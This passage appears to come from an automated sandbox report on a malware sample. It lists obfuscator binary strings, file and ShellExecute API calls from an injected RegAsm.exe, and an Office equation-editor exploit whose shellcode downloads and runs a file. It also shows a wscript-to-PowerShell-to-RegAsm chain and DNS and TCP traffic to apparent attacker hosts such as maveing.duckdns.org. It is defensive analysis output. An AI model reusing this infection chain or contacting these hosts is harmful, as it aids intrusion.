            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409253
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,12_2_0041C291
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,12_2_0040C34D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409665
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0044E879 FindFirstFileExA,12_2_0044E879
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,12_2_0040880C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040783C FindFirstFileW,FindNextFileW,12_2_0040783C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,12_2_00419AF5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,12_2_0040BB30
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,12_2_0040BD37
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,12_2_100010F1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_10006580 FindFirstFileExA,12_2_10006580
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0040AE51 FindFirstFileW,FindNextFileW,13_2_0040AE51
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,14_2_00407EF8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,15_2_00407898
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,12_2_00407C97
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Jump to behavior

            Software Vulnerabilities

            barindex
            Document exploit detected (process start blacklist hit)
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
            Shellcode detected
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_00330903 LoadLibraryW,8_2_00330903
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_003309A6 URLDownloadToFileW,ShellExecuteW,ExitProcess,8_2_003309A6
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_003309D4 ShellExecuteW,ExitProcess,8_2_003309D4
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_00330824 ExitProcess,8_2_00330824
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_003309BF ShellExecuteW,ExitProcess,8_2_003309BF
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_003309F9 ExitProcess,8_2_003309F9
            Suspicious execution chain found
            Source: C:\Windows\SysWOW64\wscript.exeChild: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeChild: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            Source: global trafficDNS query: name: tny.wtf
            Source: global trafficDNS query: name: tny.wtf
            Source: global trafficDNS query: name: tny.wtf
            Source: global trafficDNS query: name: tny.wtf
            Source: global trafficDNS query: name: tny.wtf
            Source: global trafficDNS query: name: tny.wtf
            Source: global trafficDNS query: name: maveing.duckdns.org
            Source: global trafficDNS query: name: maveing.duckdns.org
            Source: global trafficDNS query: name: geoplugin.net
            Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49169 -> 198.46.176.133:80
            Source: global trafficTCP traffic: 192.168.2.22:49170 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49173 -> 178.237.33.50:80
            Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
            Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
            Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
            Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
            Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
